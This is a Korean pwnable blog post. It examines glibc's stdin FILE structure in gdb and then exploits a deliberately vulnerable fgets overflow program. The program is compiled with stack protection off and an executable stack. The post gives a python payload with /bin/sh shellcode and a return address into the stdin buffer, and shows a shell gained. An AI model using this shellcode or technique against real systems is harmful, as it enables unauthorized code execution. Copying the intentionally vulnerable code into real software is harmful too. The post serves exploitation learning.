본문 바로가기

Pwnable

stdin@@GLIBC_2.0

그냥 이 녀석이 궁금하다. stdin을 사용하면 항상 bss 영역에 있다.

일단 GLIBC는 GNU C Library이고, 2.0은 Verison이겠지 뭐..

이 녀석은 libio/stdio.c라는 곳에 있고, stdio.h 헤더 파일을 import 하면 쓸 수 있겠지 뭐..

_IO_FILE *stdin = (FILE *) &_IO_2_1_stdin_;

_IO_FILE 구조체를 보면 아래와 같이 엉청 길게 있겠지 뭐.. 

struct _IO_FILE {
  int _flags;           /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;   /* Current read pointer */
  char* _IO_read_end;   /* End of get area. */
  char* _IO_read_base;  /* Start of putback+get area. */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr;  /* Current put pointer. */
  char* _IO_write_end;  /* End of put area. */
  char* _IO_buf_base;   /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};


당연히 GDB에서 stdin@@GLIBC_2.0을 까보면, <_IO_2_1_stdin_> 이 녀석이 나오겠지 뭐...


gdb로 구조체를 살펴 보면, 결과적으로 첫번 째는 flags인데 모르겠고

0xb7fc0c20 <_IO_2_1_stdin_>: 0xfbad2288 0xb7fd601a 0xb7fd601a 0xb7fd6000

0xb7fc0c30 <_IO_2_1_stdin_+16>: 0xb7fd6000 0xb7fd6000 0xb7fd6000 0xb7fd6000

0xb7fc0c40 <_IO_2_1_stdin_+32>: 0xb7fd6400 0x00000000 0x00000000 0x00000000

0xb7fd6000 = start of ptr

0xb7fd601a =end of ptr


중요한건 start of ptr은 stdin 입력 메모리에 시작, end of ptr은 입력이 끝난 시점에 메모리 위치고,

결과적으로 start of ptr에 키보드로 입력한 문장이 들어가 있다.


그래서 이거 가지고 간단하게 놀 수 있다.

입력한 문자열 스택에 쉘코드를 못 쓴다고 가정하면, stdin 스택 공간을 이용해서 권한을 딸 수 있다.

fgets -> read_line( 'AAAA' )-> stdin -> string buffer 이런 느낌 아닐까?

gcc -o vul_stdin vul_stdin.c -fno-stack-protector -zexecstack


#include <unistd.h>

int main(int argc, char **argv){

        char name[256]; // + 4bytes + and 0xffffff0

        printf("attack : ");

        fgets(name, 272+8+8, stdin);

        memset(name, 0, sizeof(name));

        printf("exploit done\n");

}

페이로드 : 쉘코드를 시작에 넣고, 쓰레기로 채운 후, 맨 마지막 RET를 STDIN 주소로 한다. (data 파일로 만들었다.)

python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"+"A"*(268-23)+"\x00\x60\xfd\xb7"' > data

익스플로잇 하면, 된다.

$ (cat data;cat) | ./vul_stdin 

attack : exploit done

id

uid=1000(ksg) gid=1000(ksg) groups=1000(ksg),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)


솔직히 로컬이면 환경 변수, ARGV 등 영역에 쉘코드를 쓰면 된다. ㅎㅎ strlen은 \x00으로 우회할 수 있으니깐

리모트에서 잘 쓰일 수 있다.



'Pwnable' 카테고리의 다른 글

canary leak python code  (0) 2015.11.17
TUM CTF Teaser 2015: greeter writeup  (0) 2015.11.03
tum ctf 2015 teaser - c0unter  (0) 2015.11.03
strtap address overflow  (0) 2015.10.18
pwnable.kr uaf  (0) 2015.09.29